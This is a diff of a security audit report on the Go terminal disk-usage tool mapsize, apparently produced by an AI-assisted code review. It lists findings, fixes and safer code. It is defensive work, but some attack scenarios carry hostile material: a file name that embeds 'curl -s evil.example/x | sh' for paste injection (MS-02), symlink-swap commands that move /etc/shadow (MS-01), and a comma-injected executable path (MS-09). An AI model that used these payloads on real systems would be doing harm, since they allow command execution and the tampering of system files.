| Short | Fix the ARCHITECTURE.md file list, and hide or refuse descendants of trashed nodes | Accurate documentation; avoids confusing stale entries | Very low |
|
||||||
|
| Short | Run platform tests on macOS and Windows CI; verify the explorer comma behaviour | Untested destructive code paths | Low |
|
||||||
|
| Short | Pin actions by SHA and add Dependabot | Supply chain | Very low |
|
||||||
|
| Medium | Descriptor-relative scanning and actions | Removes the remaining TOCTOU class | Medium: touches the scanner hot path, so benchmark against PERFORMANCE.md |
|
||||||
|
| Medium | Lossless JSON names | Data fidelity | Low: additive field |
|
||||||
|
| Long | Signed releases and provenance; optional signed snapshots | Trust in artifacts | Low |
|
||||||
|
|
||||||
|
## 9. Caveats and Validation Needed
|
||||||
|
|
||||||
|
- macOS and Windows behaviour was only cross-compiled with `go vet`, never executed. The Darwin volume-trash change (strict private directory) in particular should be checked on a real external volume. If `.Trashes/<uid>` already exists with different permissions, trash now falls back to an error instead of using it.
|
||||||
|
- The trash identity check refuses items whose owner or type changed since the scan. Users who `chown` while browsing will see refusals until they rescan; this is intended.
|
||||||
|
- The snapshot node cap assumes about 15 bytes per node (PERFORMANCE.md). Trees made of extremely repetitive names compress better. The cap allows one node per byte, about 15× headroom, but it is worth validating against the largest real snapshots before the next release.
|
||||||
|
- The concurrent commit `ab3ff7b` (Homebrew template) landed during the audit and was reviewed.
|
||||||
@@ -0,0 +1,820 @@
|
|||||||
|
# Security Audit Report
|
||||||
|
|
||||||
|
Project: **mapsize** (Go, `github.com/andydixon/mapsize`), an interactive terminal disk-usage analyser, at v1.0.0 plus fixes.
|
||||||
|
Date: 2026-10-02. Audit commits: `3ec5bd7`, `1f9429e`, `5966fdd`, `3264def`, `b009ac3` (all with the subject "AI codebase review").
|
||||||
|
|
||||||
|
## 1. Executive Summary
|
||||||
|
|
||||||
|
mapsize is a local, single-user CLI/TUI. It has no network listener, no authentication, no stored secrets, and no native code beyond syscalls made through `golang.org/x/sys`. Its attack surface is **filesystem content controlled by other users** (file names, file types, directory layout, and races against the scan) and **snapshot files** (`.msz`) that people may share. The codebase was already defensive: it sanitises terminal output with a second check in the canvas, never invokes a shell, validates snapshots carefully, and checks the ownership of shared trash directories.
|
||||||
|
|
||||||
|
The most important issues were in the places where mapsize **acts on the filesystem after the scan**:
|
||||||
|
|
||||||
|
- **MS-01 (Medium, fixed).** Trash renamed items by path long after the scan. If another user swapped a parent directory for a symlink, an administrator cleaning that user's tree could move an unrelated file (for example `/etc/shadow`) into the trash.
|
||||||
|
- **MS-02 (Medium, fixed).** "Copy path" put raw filenames on the clipboard through OSC 52. A filename containing newlines runs commands when it is pasted into a shell.
|
||||||
|
- **MS-03 (Medium, fixed).** The snapshot decompression limit allowed roughly 600× memory amplification. An 804 KB crafted file was measured at about 500 MB of heap.
|
||||||
|
- **MS-04 (Low, fixed).** The duplicate finder could be wedged permanently by a file that was swapped for a FIFO after the scan. Cancelling did not help.
|
||||||
|
|
||||||
|
All four now have regression tests. No vulnerable dependencies were found (`govulncheck`: none). The remaining items are low-severity defence-in-depth or supply-chain hygiene.
|
||||||
|
|
||||||
|
**Architectural concern:** operations after the scan still resolve paths again (scanner directory opens, duplicate hashing, reveal). Fully race-free handling needs descriptor-relative traversal (`openat` chains or `openat2(RESOLVE_NO_SYMLINKS)`). The trash fix applies this only to the final parent directory.
|
||||||
|
|
||||||
|
## 2. Scope Reviewed
|
||||||
|
|
||||||
|
- **Languages and frameworks:** Go 1.26 (toolchain 1.27.1 used locally), Bubble Tea v2 (`charm.land/bubbletea/v2`), `charmbracelet/x/ansi`, `rivo/uniseg`, `golang.org/x/sys`.
|
||||||
|
- **Source:** all 85 tracked files, including `cmd/mapsize`, `cmd/treegen`, and every package under `internal/` (app, brand, config, duplicate, export, filter, inventory, platform, scan, snapshot, textutil, treemap, tui).
|
||||||
|
- **Build and deployment:** `Makefile` (build, install, release, brew-formula), `nfpm.yaml`, `packaging/homebrew/mapsize.rb.in`, `.github/workflows/ci.yml`, `scripts/bench-scan.sh`.
|
||||||
|
- **Dependencies:** `go.mod`, `go.sum`.
|
||||||
|
- **Tests:** every `*_test.go`, including the hostile-snapshot, fuzz, scan-stress and TUI tests.
|
||||||
|
- **Documentation:** ARCHITECTURE.md (its invariants were checked against the code), README.md, and the man page.
|
||||||
|
- **Not in scope:** there are no Dockerfiles, IaC, web frontend or servers.
|
||||||
|
|
||||||
|
## 3. Methodology
|
||||||
|
|
||||||
|
- **Static review:** a manual line-by-line reading of the trust-boundary code (platform ops, snapshot decoder, scanner, duplicate finder, exporters, TUI actions and rendering, config).
|
||||||
|
- **Adversarial mapping:** the attacker starting points considered were (a) a local user who can write inside the scanned tree, (b) the author of a snapshot file, and (c) a compromised dependency or CI pipeline.
|
||||||
|
- **Dynamic validation:** the following findings were reproduced locally with tests before they were fixed:
|
||||||
|
- MS-04: a test hung at its 5 s timeout before the fix.
|
||||||
|
- MS-03: an 804 KB crafted snapshot produced 4.2 M nodes and 497 MB `HeapInuse`.
|
||||||
|
- MS-01 and MS-02: regression tests were written against the old behaviour.
|
||||||
|
- **Dependency review:** `govulncheck ./...` (latest) reported no vulnerabilities; `go vet` and the full test suite are clean; cross-platform `go vet` was run for darwin, windows and freebsd.
|
||||||
|
- **Specific reviews:** cryptography, the secrets lifecycle, memory and resource safety, DoS and terminal-injection reviews, using the checklists in the brief.
|
||||||
|
|
||||||
|
## 4. Risk Rating Method
|
||||||
|
|
||||||
|
Severity combines impact and likelihood in mapsize's realistic deployment, which is a user or administrator running it interactively, sometimes as root, over trees that other users can write to.
|
||||||
|
|
||||||
|
- **Critical/High:** remote or unauthenticated compromise, or reliable privilege escalation. None found.
|
||||||
|
- **Medium:** integrity, confidentiality or availability impact that needs a plausible precondition (another local user's tree, or opening a shared snapshot) plus a user action.
|
||||||
|
- **Low:** narrow races, partial impact, or hygiene problems with a credible but unlikely path.
|
||||||
|
- **Informational:** defence-in-depth or documentation.
|
||||||
|
|
||||||
|
Confidence:
|
||||||
|
|
||||||
|
- **High:** reproduced, or directly evident in the code.
|
||||||
|
- **Medium:** the reasoning is sound but it was not reproduced.
|
||||||
|
- **Low:** depends on unverified external behaviour, such as Windows `explorer.exe` argument parsing.
|
||||||
|
|
||||||
|
## 5. Attack Surface Map
|
||||||
|
|
||||||
|
| Entry point | Trust | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| Directory and file names, types and layout under the scanned root | **Untrusted** (other local users) | Names reach the terminal, the clipboard, CSV/JSON output and trashinfo. Layout can change between the scan and an action (TOCTOU). |
|
||||||
|
| Snapshot files (`mapsize FILE.msz`, `--load`, `--compare`) | **Untrusted** (shared by colleagues or downloaded) | Binary gzip format with a SHA-256 trailer (integrity only). Decoded in `internal/snapshot/snapshot.go`. |
|
||||||
|
| Filter query (`/` in the TUI) | Local user | RE2 regex (linear time) and `filepath.Match`. |
|
||||||
|
| CLI flags, config JSON (`$XDG_CONFIG_HOME/mapsize/config.json`) | Local user | Paths for `--save`, `--log`, `--cpuprofile` and `--memprofile` are written as specified. |
|
||||||
|
| External helpers | Executed with argument vectors | `xdg-open`, `open -R`, `explorer.exe /select,`. No shell is used. |
|
||||||
|
| Trash | Mutating | freedesktop.org trash on Linux, `~/.Trash` and volume `.Trashes/<uid>` on macOS, `SHFileOperationW` on Windows. |
|
||||||
|
| Clipboard | Output | OSC 52 written to the terminal. |
|
||||||
|
| CI/release | Supply chain | GitHub Actions, `go run nfpm@v2.41.1`, and `curl` of the release tarball for the Homebrew sha256. |
|
||||||
|
|
||||||
|
**Attacker positions:**
|
||||||
|
|
||||||
|
- **A1:** an unprivileged user who owns a subtree that an administrator scans as root, such as `/home`, `/srv/shared` or `/tmp`.
|
||||||
|
- **A2:** the sender of a snapshot file.
|
||||||
|
- **A3:** a compromised upstream action or module.
|
||||||
|
|
||||||
|
**Not present:** network listeners, IPC, authentication, sessions, secrets, databases, web frontend.
|
||||||
|
|
||||||
|
## 6. Findings Summary Table
|
||||||
|
|
||||||
|
| ID | Severity | Confidence | Title | Component | Status |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| MS-01 | Medium | High | Trash follows a parent swapped for a symlink after the scan (TOCTOU) | `internal/platform/ops_linux.go`, `ops_darwin.go`, `internal/tui/actions.go` | Fixed (`3ec5bd7`) |
|
||||||
|
| MS-02 | Medium | High | Copy-path puts control characters on the clipboard (paste injection) | `internal/tui/keys.go`, `modals.go` | Fixed (`1f9429e`) |
|
||||||
|
| MS-03 | Medium | High | Snapshot node amplification exhausts memory (about 600×) | `internal/snapshot/snapshot.go` | Fixed (`b009ac3`) |
|
||||||
|
| MS-04 | Low | High | Duplicate finder blocks forever on a file swapped for a FIFO | `internal/duplicate/duplicate.go` | Fixed (`5966fdd`) |
|
||||||
|
| MS-05 | Low | Medium | macOS volume trash directory not checked for symlinks or ownership | `internal/platform/ops_darwin.go` | Fixed (`3ec5bd7`) |
|
||||||
|
| MS-06 | Low | High | CI workflow runs with the default `GITHUB_TOKEN` permissions | `.github/workflows/ci.yml` | Fixed (`3264def`) |
|
||||||
|
| MS-07 | Informational | High | Snapshot `follow` metadata displayed unsanitised | `internal/tui/infoview.go` | Fixed (`3264def`) |
|
||||||
|
| MS-08 | Low | Medium | Scanner opens directories by path, so a symlink-swap race redirects the scan | `internal/platform/readdir_*.go`, `internal/scan/scan.go` | Open |
|
||||||
|
| MS-09 | Low | Low | Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser | `internal/platform/ops_windows.go` | Open (needs verification) |
|
||||||
|
| MS-10 | Low | High | Actions pinned to mutable tags; release artifacts unsigned | `.github/workflows/ci.yml`, `Makefile` | Open |
|
||||||
|
| MS-11 | Informational | High | Trash identity check has residual gaps (Windows; same owner and type) | `internal/platform` | Open (accepted) |
|
||||||
|
| MS-12 | Informational | High | Duplicate hashing and reveal re-resolve paths (intermediate symlinks) | `internal/duplicate`, `internal/platform/ops*.go` | Open |
|
||||||
|
| MS-13 | Informational | High | Snapshots are integrity-checked but not authenticated, and contain host and user metadata | `internal/snapshot` | Open (accepted) |
|
||||||
|
| MS-14 | Informational | High | JSON export is not terminal-sanitised (bidi) and is lossy for non-UTF-8 names | `internal/export/export.go` | Open |
|
||||||
|
| MS-15 | Informational | Medium | Filter parser recursion is unbounded on deeply nested input | `internal/filter/parser.go` | Open |
|
||||||
|
|
||||||
|
## 7. Detailed Findings
|
||||||
|
|
||||||
|
### Finding ID: MS-01
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Trash follows a parent directory swapped for a symlink after the scan (TOCTOU)
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Medium
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/platform/ops_linux.go` `Trash` (previously `os.Rename(path, dst)`), `internal/platform/ops_darwin.go` `Trash`, and `internal/tui/actions.go` `requestTrash`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
The path to trash is rebuilt from the inventory (`m.tree.Path(id)`) and renamed after the user confirms. Every path component is resolved again at rename time. Between the scan and the confirmation (a window of human think-time) the owner of any parent directory can replace it with a symlink. The rename then moves whatever has the same name under the symlink target.
|
||||||
|
|
||||||
|
#### Evidence
|
||||||
|
Before the fix, `ops_linux.go` did this:
|
||||||
|
```go
|
||||||
|
if err := os.Rename(path, dst); err != nil { // path re-resolved, all components followed
|
||||||
|
```
|
||||||
|
There was no comparison with what the scan recorded. `checkAbs` only did `Lstat` on the final component.
|
||||||
|
|
||||||
|
#### Attack Scenario
|
||||||
|
1. Eve owns `/home/eve/junk/`. She creates a large file named `shadow` in it.
|
||||||
|
2. The root user runs `mapsize /home`, sees `/home/eve/junk/shadow` (20 GB), and presses `d`.
|
||||||
|
3. Before root confirms, Eve runs `mv junk junk.old; ln -s /etc junk`. A symlink toggler makes the timing irrelevant.
|
||||||
|
4. Root confirms, and `rename("/home/eve/junk/shadow", "/root/.local/share/Trash/files/shadow")` moves **`/etc/shadow`**. Logins break and the hash file now sits in root's trash.
|
||||||
|
|
||||||
|
The same works for any root-owned file with a guessable name.
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
Integrity and availability of arbitrary files writable by the user running mapsize, which is the whole system for root. This is denial of service, and it can cause privilege problems such as a missing `/etc/sudoers.d/x` or a broken PAM configuration.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Open the parent directory once. Check and rename relative to that descriptor, and verify that the item still matches the scan (owner and file type).
|
||||||
|
|
||||||
|
#### Safer Example
|
||||||
|
This is what was implemented in `internal/platform/trash_unix.go`:
|
||||||
|
```go
|
||||||
|
dfd, _ := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
|
||||||
|
unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW)
|
||||||
|
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
|
||||||
|
return errors.New("item changed since the scan (owner or type differs); rescan first")
|
||||||
|
}
|
||||||
|
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
|
||||||
|
```
|
||||||
|
`requestTrash` captures `platform.Expect{UID: n.UID, Mode: n.Mode}` from the scanned node. A swapped parent now resolves to `/etc`, `shadow` there is owned by uid 0 rather than eve, and the move is refused. Because the check and the rename use the same descriptor, a toggler cannot win the race between them.
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
`TestTrashRefusesSwappedItem` (added) covers a symlink where a file was scanned, a type mismatch, an owner mismatch, no leftover `.trashinfo`, and the legitimate path still working.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-367 (TOCTOU), CWE-59 (link following), OWASP ASVS V12.3.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
See MS-11 for the residual gaps: Windows has no check, and a same-owner, same-type target is still possible. The trash destination path is still resolved by path, but it lives under the user's own home or under a private `.Trash-$uid` directory that has been checked.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-02
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Copy-path puts control characters on the clipboard (paste injection)
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Medium
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/tui/keys.go` `copyPath` and `internal/tui/modals.go` (the `c` key in the info modal).
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
The raw path was sent with `tea.SetClipboard(p)` (OSC 52). Unix filenames may contain `\n` and other control bytes, and snapshot names may contain anything except `/` and NUL. The UI displays these names escaped, so the user cannot see that the clipboard holds an executable multi-line payload.
|
||||||
|
|
||||||
|
#### Evidence
|
||||||
|
```go
|
||||||
|
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Attack Scenario
|
||||||
|
An attacker creates `/srv/share/report\ncurl -s evil.example/x | sh\n.pdf`. The administrator selects it, presses `c`, and pastes into a root shell. In a shell or terminal without bracketed paste (older bash, `sh`, many serial and SSH consoles) the embedded command runs. Bidi overrides can also disguise the visible text.
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
Arbitrary command execution as the user who pastes. User interaction is required.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Refuse to copy any path that `textutil.Sanitize` would change (control characters, C1, bidi, invalid UTF-8) and tell the user why.
|
||||||
|
|
||||||
|
#### Safer Example
|
||||||
|
```go
|
||||||
|
if textutil.Sanitize(p) != p {
|
||||||
|
return m.warn("Not copied: path contains control or bidi characters")
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
`TestCopyRefusesControlCharacters` (added) covers a newline payload, the existing ESC/OSC hostile name, and a CJK path that must still be copied.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-150 (improper neutralisation of escape sequences), CWE-77; also known as "pastejacking".
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
A copy of a legitimate but unusual name is now refused. The info modal still shows the escaped form.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-03
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Snapshot node amplification exhausts memory
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Medium
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High (measured)
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/snapshot/snapshot.go` `LoadFile`, `LoadLimit`, `bodyLimit`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
The decompressed body was capped at `max(64 MiB, 64 × file size)`, but the node count was capped only at `2^31−1`. A crafted body made of repeating blocks (one directory followed by K−1 files whose parent deltas run 1…K−1) compresses extremely well and stays within the depth limit. Each node costs about 120 bytes of heap.
|
||||||
|
|
||||||
|
#### Evidence
|
||||||
|
A local measurement before the fix: a **804 KB** file decoded to a 59 MB body, **4,200,001 nodes**, and **497 MB `HeapInuse`**. Because the body limit grows 64× with file size, a ~20 MB crafted file could demand about 10 GB. ARCHITECTURE.md claimed "decompression bombs fail fast", which held for the body but not for allocated memory.
|
||||||
|
|
||||||
|
#### Attack Scenario
|
||||||
|
A colleague sends `server.msz`. Opening it with `mapsize server.msz` or `--compare` triggers the OOM killer, or swap pressure on a shared host.
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
Local denial of service. User interaction is required.
|
||||||
|
|
||||||
|
#### Recommendation and Safer Example
|
||||||
|
Bound the node count by the compressed size. Real snapshots use about 15 bytes per node (PERFORMANCE.md), so one node per byte leaves at least 15× headroom:
|
||||||
|
```go
|
||||||
|
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
|
||||||
|
```
|
||||||
|
`LoadFile` now passes `nodeLimit(fi.Size())`. The node-count error is now reported before the "no root node" check, which previously masked limit errors.
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
`TestNodeAmplificationLimited` (added): 1.2 M nodes in a 137 KB file are refused with a "node count" error, and the same data still loads through the unbounded `Load` path, which proves the input is otherwise valid.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-400, CWE-409 (highly compressed data), CWE-770.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
The 1 Mi-node floor still lets a tiny file allocate about 120 MB, which is acceptable. `Load`/`LoadLimit` on an `io.Reader` keep `MaxNodes`, because no file size is known there; production code uses only `LoadFile`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-04
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Duplicate finder blocks forever on a file swapped for a FIFO
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High (reproduced)
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/duplicate/duplicate.go` `open`; new `internal/platform/open_unix.go`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
Candidates were reopened by path with `os.Open`. Opening a FIFO for reading blocks until a writer appears. The `fi.Mode().IsRegular()` check ran after the open, too late. Context cancellation (Esc, Ctrl+C) cannot interrupt a blocked `open(2)`, so the duplicate view stayed on "hashing" forever and `--duplicates` never exited, which matters for cron jobs.
|
||||||
|
|
||||||
|
#### Evidence and Reproduction
|
||||||
|
`TestFindSkipsSwappedFIFO`: scan `a`, `b` and `c` (identical content), replace `b` with `mkfifo b` and `c` with a symlink to a FIFO, then run `Find`. It timed out after 5 s before the fix and finishes immediately afterwards with `Skipped == 2`.
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
Availability of the duplicate feature, and a hang of the non-interactive mode. Any user who can write in the scanned tree can trigger it.
|
||||||
|
|
||||||
|
#### Recommendation and Safer Example
|
||||||
|
```go
|
||||||
|
os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
|
||||||
|
```
|
||||||
|
`O_NONBLOCK` makes the FIFO open return at once, and the existing regular-file check then skips it. `O_NOFOLLOW` refuses a final symlink. Regular-file reads are unaffected.
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
Added as above. Consider a cancellation test for a slow reader as well.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-367, CWE-833 (deadlock), CWE-400.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
Intermediate path components can still be swapped (MS-12). On Windows, `os.Open` remains unchanged.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-05
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
macOS volume trash directory not checked for symlinks or ownership
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
Medium (reasoned, not run on macOS)
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/platform/ops_darwin.go` `Trash`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
`os.MkdirAll("/Volumes/X/.Trashes/<uid>", 0700)` silently accepts an existing directory or a symlink to one that another user planted on a shared or ignore-ownership volume. Files would then be moved into a location the attacker controls. The Linux code already defended against this with `ensurePrivateDir`.
|
||||||
|
|
||||||
|
#### Attack Scenario
|
||||||
|
On a shared external volume, Mallory creates `.Trashes/501 -> /Volumes/X/mallory-readable/`. User 501 trashes `payroll.xlsx`, and Mallory can now read it.
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
Disclosure of trashed files.
|
||||||
|
|
||||||
|
#### Recommendation and Safer Example
|
||||||
|
`ensurePrivateDir` was moved to a shared `trash_unix.go` (linux or darwin). Darwin now calls it with `strict=true` for volume trashes, which requires a real directory owned by the user with no group or other access.
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
`TestEnsurePrivateDirRejectsSymlink` already covers the helper. A macOS CI job running the platform tests is recommended.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-59, CWE-276.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
`.Trashes` itself is not checked. The final directory being 0700 and owned by the user limits exposure, but the parent's owner could still rename it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-06
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
CI workflow runs with the default `GITHUB_TOKEN` permissions
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`.github/workflows/ci.yml`
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
There was no `permissions:` block, so jobs received the repository or organisation default token scope, which is write access on older repositories. The workflow runs third-party actions and `go test` (which executes arbitrary test code and dependencies). A compromised action or dependency could therefore push to the repository.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
`permissions: contents: read` was added at the workflow level.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-250, OpenSSF Scorecard "Token-Permissions".
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
Whether the repository default is read-only could not be checked from here.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-07
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Snapshot `follow` metadata displayed unsanitised
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Informational
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/tui/infoview.go` (`line("Follow symlinks", st.Follow, …)`)
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
Every other snapshot metadata string (root, excludes, the `FromSnapshot` string) goes through `textutil.Sanitize`. `Follow` did not. The canvas's own control-character filter, together with zero-width clusters being dropped, meant this was **not exploitable**: hostile bytes were replaced with `?`. It is fixed for consistency with the documented invariant.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Use `textutil.Sanitize(st.Follow)` (done).
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-150.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
None.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-08
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Scanner opens directories by path, so a symlink-swap race redirects the scan
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
Medium
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/platform/readdir_linux.go`, `readdir_bsd.go` (`unix.Open(path, O_RDONLY|O_DIRECTORY)`), and `internal/scan/scan.go` `makeJob`/`worker`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
Entries are `lstat`'d relative to the directory fd, but each pending directory is later opened by its full path. A directory that was a real directory at `lstat` time can be swapped for a symlink before the worker opens it, and the scan then descends into the target. With `--follow-symlinks=none` the visited set is disabled, so a fast toggler can make the scan revisit or inflate subtrees until `PATH_MAX`.
|
||||||
|
|
||||||
|
#### Attack Scenario
|
||||||
|
Eve toggles `/home/eve/a` between a directory and a symlink to `/`. Root's scan of `/home` then includes parts of `/`, so totals are wrong. With repeated wins it can grow memory and time, bounded by path length.
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
Inaccurate inventory, wasted time and memory. Nothing is read beyond metadata and nothing is written. However, the inventory could then offer root's files to trash under Eve's path; MS-01's owner check now blocks that.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Pass a "followed" bit with each job and open non-followed directories with `O_NOFOLLOW`. For a full fix, keep a parent fd per job and use `openat(parentfd, name, O_NOFOLLOW|O_DIRECTORY)`, or `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+. Also compare `fstat(dirfd)` with the scanned (dev, ino).
|
||||||
|
|
||||||
|
#### Safer Example
|
||||||
|
```go
|
||||||
|
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC|unix.O_NOFOLLOW, 0)
|
||||||
|
// then: unix.Fstat(fd,&st); if st.Dev!=want.Dev||st.Ino!=want.Ino { return errChanged }
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
A test with a toggling goroutine that asserts no node outside the root's device and inode set appears.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-367, CWE-59.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
This was left open because a partial `O_NOFOLLOW` on the final component only does not stop swaps of intermediate components. The real fix is the fd-relative redesign, which is larger than an audit fix should be.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-09
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/platform/ops_windows.go` `Reveal` (`startDetached("explorer.exe", "/select,", path)`).
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
`explorer.exe` parses its own command line and treats commas as switch separators. Go quotes arguments using MSVCRT rules, which Explorer may not honour. A filename containing `,` (legal on Windows) might be split into additional Explorer switches or paths. If Explorer is given a path to an executable, it launches it.
|
||||||
|
|
||||||
|
#### Attack Scenario (unverified)
|
||||||
|
A file named `x,C:\Users\Public\evil.exe` must exist for `checkAbs` to pass. Revealing it might make Explorer open or run `evil.exe`.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Verify on Windows. If the behaviour is confirmed, refuse paths containing `,` or `"`, or use `SHOpenFolderAndSelectItems` through COM, which takes a PIDL and does no parsing.
|
||||||
|
|
||||||
|
#### Suggested Tests
|
||||||
|
A manual Windows test with comma-bearing names.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-88 (argument injection).
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
This could not be tested here, so it was not changed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-10
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Actions pinned to mutable tags; release artifacts unsigned
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Low
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`.github/workflows/ci.yml` (`actions/checkout@v4`, `actions/setup-go@v5`) and the `Makefile` `release`/`brew-formula` targets.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
Tags can be moved by a compromised upstream. `make release` writes an unsigned `SHA256SUMS`. `brew-formula` trusts the first `curl` of GitHub's tarball, a trust-on-first-use approach. `nfpm` is fetched through `go run …@v2.41.1`, which is pinned and verified by the Go checksum database. That is good.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
- Pin actions by commit SHA, with Dependabot keeping them current.
|
||||||
|
- Sign releases with Sigstore `cosign sign-blob` or minisign, and/or publish SLSA provenance through GitHub's attest-build-provenance.
|
||||||
|
- Build releases in CI rather than on a workstation.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
SLSA L2/L3, OpenSSF Scorecard "Pinned-Dependencies" and "Signed-Releases".
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
The commit SHAs could not be verified offline, so the workflow was not changed here.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-11
|
||||||
